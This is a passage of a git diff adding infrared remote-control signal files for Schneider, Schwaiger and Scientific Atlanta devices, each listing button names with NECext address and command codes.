00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 15 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 16 00 00 00 +# +name: vidarchive +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 17 00 00 00 +# +name: center +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 18 00 00 00 +# +name: lastprog +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 19 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1A 00 00 00 +# +name: pip +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1C 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CYCLEWINDOWS +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1E 00 00 00 +# +name: tvmenu +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 1F 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 20 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 21 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 22 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 23 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 24 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 25 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 26 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 27 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 28 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 29 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2A 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2B 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2C 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 2F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 30 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 31 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 32 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 33 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 34 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 35 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 36 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 37 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 38 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 39 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 3A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 18 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir new file mode 100644 index 000000000..ba70c9d15 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_FB2000/5,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 25 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 26 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 35 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir new file mode 100644 index 000000000..4c3f14fbe --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC-193/154,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 02 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 03 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 06 00 00 00 +# +name: tuning+ +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 07 00 00 00 +# +name: sound +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 0B 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 0F 00 00 00 +# +name: slow+ +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 13 00 00 00 +# +name: function +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 16 00 00 00 +# +name: tuning- +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 1B 00 00 00 +# +name: slow- +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 1F 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 40 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 42 00 00 00 +# +name: disp +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 43 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 44 00 00 00 +# +name: fmmode +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 45 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 46 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 47 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 48 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 4A 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 4B 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 4C 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 4D 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 4E 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 4F 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 50 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 51 00 00 00 +# +name: ent +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 52 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 53 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 54 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 55 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 56 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 57 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 58 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 59 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 5A 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 5B 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 5C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 5D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 5E 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 9A 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir b/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir new file mode 100644 index 000000000..644a2e592 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC202/11,11.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0A 00 00 00 +# +name: vt +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0B 00 00 00 +# +name: av +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0C 00 00 00 +# +name: X_KEY_0+ +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0D 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 0F 00 00 00 +# +name: picture +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 10 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 11 00 00 00 +# +name: exp +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 13 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 14 00 00 00 +# +name: timer +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 15 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 16 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 17 00 00 00 +# +name: hold +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 18 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 19 00 00 00 +# +name: mix +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1A 00 00 00 +# +name: reveal +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1B 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1C 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1E 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 0B 0B 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir new file mode 100644 index 000000000..57e2d5b83 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC901/28,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0D 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0E 00 00 00 +# +name: KEY_I +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 21 00 00 00 +# +name: jump +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 22 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 29 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 2D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 34 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 37 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3C 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 48 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 5C 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 5D 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 5E 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 5F 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 72 00 00 00 +# +name: ? +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 73 00 00 00 +# +name: tvtv +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 74 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 75 00 00 00 +# +name: live +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir new file mode 100644 index 000000000..77299ddb0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Schneider/Unknown_RC902/0,-1.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: PP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2D 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_RADIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: KEY_F1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5C 00 00 00 +# +name: KEY_F2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: KEY_F3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 +# +name: KEY_F4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5F 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 72 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 73 00 00 00 +# +name: TVTV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 74 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 75 00 00 00 +# +name: LIVE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir new file mode 100644 index 000000000..2482088bd --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Schwaiger/Unknown_DSR/0,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: M/P +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_EPG +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: TV/RAD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: I/O +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 43 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: Timer +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4F 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir new file mode 100644 index 000000000..228ac3a05 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Scientific Atlanta/Cable Box/27,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 02 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 03 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 04 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 06 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 07 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 08 00 00 00 +# +name: END +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0A 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0B 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0C 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0D 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 0E 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 10 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 11 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 12 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 13 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1B 00 00 00 +command: 14 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1B 00 00 